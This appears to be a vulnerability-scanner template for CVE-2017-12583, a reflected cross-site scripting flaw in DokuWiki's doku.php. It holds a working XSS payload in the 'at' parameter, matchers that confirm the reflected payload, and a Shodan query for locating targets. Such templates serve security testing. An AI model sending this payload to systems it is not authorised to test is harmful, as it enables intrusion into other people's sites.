id: CVE-2017-12583

info:
  name: Reflected XSS in doku.php
  author: DhiyaneshDK
  severity: medium
  metadata:
    shodan-query: 'http.title:"DokuWiki"'
  description: "DokuWiki through 2017-02-19b has XSS in the at parameter (aka the DATE_AT variable) to doku.php."
  reference: https://github.com/splitbrain/dokuwiki/issues/2061
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2017-12583
    cwe-id: CWE-79
  tags: cve,cve2017,xss,dokuwiki

requests:
  - method: GET
    path:
      - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200